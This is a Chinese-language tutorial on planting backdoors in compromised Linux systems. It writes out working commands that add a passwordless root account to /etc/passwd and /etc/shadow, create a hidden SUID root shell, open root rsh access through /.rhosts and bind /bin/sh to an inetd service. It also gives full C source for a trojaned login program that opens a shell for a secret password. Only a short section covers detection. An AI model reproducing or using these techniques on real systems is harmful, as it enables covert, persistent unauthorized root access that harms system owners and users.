Linux系统后门技术原理与实战方法

首先，我们来明确后门的定义。当入侵者完全控制目标系统后，为了后续能够便捷地再次进入，往往会留下一个后门。这一操作通常通过修改系统配置文件或植入第三方后门工具来完成。后门具有极强的隐蔽性，能够绕过系统日志记录，使得系统管理员难以察觉其存在。

常见后门技术详解

那么，攻击者通常采用哪些后门技术呢？接下来逐一进行剖析。

添加超级用户账号

# echo "e4gle:x:0:0::/:/bin/sh" >> /etc/passwd
# echo "e4gle::-1:-1:-1:-1:-1:-1:500" >> /etc/shadow

若系统禁止UID为0的用户远程登录，则还需创建一个普通用户账号作为跳板，以便后续操作。

密码破解与嗅探技术

获取shadow文件后，可利用John the Ripper等工具破解弱密码。此外，安装sniffit等嗅探工具，监听telnet、FTP等端口，能够直接捕获用户密码。

放置SUID Shell后门

# cp /bin/bash /dev/.rootshell
# chmod u+s /dev/.rootshell

普通用户只要在本地执行/dev/.rootshell，即可获得一个拥有root权限的Shell，操作简单且直接。

利用rhosts文件

# echo "+ +" > /.rhosts
# rsh -l root victim.com csh -i

通过远程登录即可直接获取rootshell，但前提是目标主机已开启rsh服务。

修改系统服务程序

修改/etc/inetd.conf，比如把daytime服务替换成/bin/sh：

daytime stream tcp nowait /bin/sh sh -I

另一种方式是使用木马程序替换in.telnetd、in.rexecd等inetd服务程序，甚至重定向login程序，从而达到后门目的。

基于TCP/UDP/ICMP协议的Shell后门

典型的BindShell基于TCP或UDP协议，在高端口监听，容易被检测到。因此出现了更隐蔽的方式：通过ICMP包激活后门，形成Shell通信通道；此外，还有基于TCP ACK数据包的后门，能够穿透防火墙。

利用Crontab定时任务维持后门

通过Crontab定时任务调度后门程序定期运行，通常选择在深夜时段——即系统管理员不在线时，以提高隐蔽性。

在共享库文件中植入后门

在共享库中嵌入后门函数，通过特定的后门口令激活Shell并获取权限。这种方式能够绕过系统管理员对二进制文件本身的校验检查，隐蔽性更强。

使用Rootkit工具包

Rootkit包含一系列系统工具和后门工具：清除登录日志、伪装文件校验和、替换netstat、ps等网络工具，以及后门登录程序。安装和使用较为便捷，是经典的后门技术之一。

可装载内核模块（LKM）后门

LKM（Loadable Kernel Modules）支持动态加载，无需重新编译内核。它通过截获系统调用来实现隐藏目录、文件、进程、网络连接等强大功能，自身隐蔽性极佳，检测难度极大。著名的LKM工具包包括adore和knark。

后门检测方法

检测后门并没有万能方法，通常需要结合实践经验与专业工具，手动进行一系列检查。例如，使用Tripwire或MD5校验文件来验证系统文件是否被篡改；借助入侵检测系统（IDS）监控目标主机的可疑网络连接。

实际案例：Login后门

入侵者首先备份原始的/bin/login文件，然后用一段恶意程序替换它。当入侵者通过Telnet登录时，通过环境变量或终端类型传递正确的后门密码，即可直接获得一个Shell；而普通用户登录时，则被重定向到原始的login文件，正常处理登录流程。这种方式既隐蔽又实用。

以下是一个最简单的Login后门源代码示例（ulogin.c）：

#include 
#define PASSWORD "passWORD"
#define _PATH_LOGIN "/sbin/logins"

main (argc, argv, envp)
int argc;
char **argv, **envp;
{
    char *display = getenv("DISPLAY");
    if ( display == NULL ) {
        execve(_PATH_LOGIN, argv, envp);
        perror(_PATH_LOGIN);
        exit(1);
    }
    if (!strcmp(display,PASSWORD)) {
        system("/bin/csh");
        exit(1);
    }
    execve(_PATH_LOGIN, argv, envp);
    exit(1);
}